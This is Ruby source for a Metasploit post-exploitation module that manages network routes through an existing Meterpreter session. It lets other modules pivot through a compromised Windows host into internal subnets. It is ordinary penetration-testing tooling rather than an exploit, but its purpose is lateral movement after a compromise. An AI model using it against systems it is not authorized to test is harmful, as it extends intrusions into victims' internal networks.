## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'rex' class Metasploit3 < Msf::Post def initialize(info={}) super( update_info( info, 'Name' => 'Windows Manage Network Route via Meterpreter Session', 'Description' => %q{This module manages session routing via an existing Meterpreter session. It enables other modules to 'pivot' through a compromised host when connecting to the named NETWORK and SUBMASK.}, 'License' => MSF_LICENSE, 'Author' => [ 'todb'], 'Platform' => [ 'win' ], 'SessionTypes' => [ 'meterpreter'] )) register_options( [ OptString.new('SUBNET', [false, 'Subnet (IPv4, for example, 10.10.10.0)', nil]), OptString.new('NETMASK', [false, 'Netmask (IPv4 as "255.255.255.0" or CIDR as "/24"', '255.255.255.0']), OptEnum.new('CMD', [true, 'Specify the autoroute command', 'add', ['add','print','delete']]) ], self.class) end # Backwards compatability: This was changed because the option name of "ACTION" # is special for some things, and indicates the :action attribute, not a datastore option. # However, this is a semi-popular module, though, so I'd prefer not to break people's # RC scripts that set ACTION. Note that ACTION is preferred over CMD. # # TODO: The better solution is to use 'Action' and 'DefaultAction' info elements, # but there are some squirelly problems right now with rendering these for post modules. def route_cmd if datastore['ACTION'].to_s.empty? datastore['CMD'].to_s.downcase.to_sym else wlog("Warning, deprecated use of 'ACTION' datastore option for #{self.fullname}'. Use 'CMD' instead.") datastore['ACTION'].to_s.downcase.to_sym end end # Run Method for when run command is issued def run print_status("Running module against #{sysinfo['Computer']}") case route_cmd() when :print print_routes() when :add if validate_cmd(datastore['SUBNET'],netmask) print_status("Adding a route to %s/%s..." % [datastore['SUBNET'],netmask]) add_route(:subnet => datastore['SUBNET'], :netmask => netmask) end when :delete if datastore['SUBNET'] print_status("Deleting route to %s/%s..." % [datastore['SUBNET'],netmask]) delete_route(:subnet => datastore['SUBNET'], :netmask => netmask) else delete_all_routes() end end end def delete_all_routes if Rex::Socket::SwitchBoard.routes.size > 0 routes = [] Rex::Socket::SwitchBoard.each do |route| routes << {:subnet => route.subnet, :netmask => route.netmask} end routes.each {|route_opts| delete_route(route_opts)} print_status "Deleted all routes" else print_status "No routes have been added yet" end end # Identical functionality to command_dispatcher/core.rb, and # nearly identical code def print_routes if Rex::Socket::SwitchBoard.routes.size > 0 tbl = Msf::Ui::Console::Table.new( Msf::Ui::Console::Table::Style::Default, 'Header' => "Active Routing Table", 'Prefix' => "\n", 'Postfix' => "\n", 'Columns' => [ 'Subnet', 'Netmask', 'Gateway', ], 'ColProps' => { 'Subnet' => { 'MaxWidth' => 17 }, 'Netmask' => { 'MaxWidth' => 17 }, }) ret = [] Rex::Socket::SwitchBoard.each { |route| if (route.comm.kind_of?(Msf::Session)) gw = "Session #{route.comm.sid}" else gw = route.comm.name.split(/::/)[-1] end tbl << [ route.subnet, route.netmask, gw ] } print_line tbl.to_s else print_status "No routes have been added yet" end end # Yet another IP validator. I'm sure there's some Rex # function that can just do this. def check_ip(ip=nil) return false if(ip.nil? || ip.strip.empty?) begin rw = Rex::Socket::RangeWalker.new(ip.strip) (rw.valid? && rw.length == 1) ? true : false rescue false end end def cidr_to_netmask(cidr) int = cidr.gsub(/\x2f/,"").to_i Rex::Socket.addr_ctoa(int) end def netmask case datastore['NETMASK'] when /^\x2f[0-9]{1,2}/ cidr_to_netmask(datastore['NETMASK']) when /^[0-9]{1,3}\.[0-9]/ # Close enough, if it's wrong it'll fail out later. datastore['NETMASK'] else "255.255.255.0" end end # Adds a route to the framework instance def add_route(opts={}) subnet = opts[:subnet] Rex::Socket::SwitchBoard.add_route(subnet, netmask, session) end # Removes a route to the framework instance def delete_route(opts={}) subnet = opts[:subnet] Rex::Socket::SwitchBoard.remove_route(subnet, netmask, session) end # Validates the command options def validate_cmd(subnet=nil,netmask=nil) if subnet.nil? print_error "Missing subnet option" return false end unless(check_ip(subnet)) print_error "Subnet invalid (must be IPv4)" return false end if(netmask and !(Rex::Socket.addr_atoc(netmask))) print_error "Netmask invalid (must define contiguous IP addressing)" return false end if(netmask and !check_ip(netmask)) print_error "Netmask invalid" return false end true end end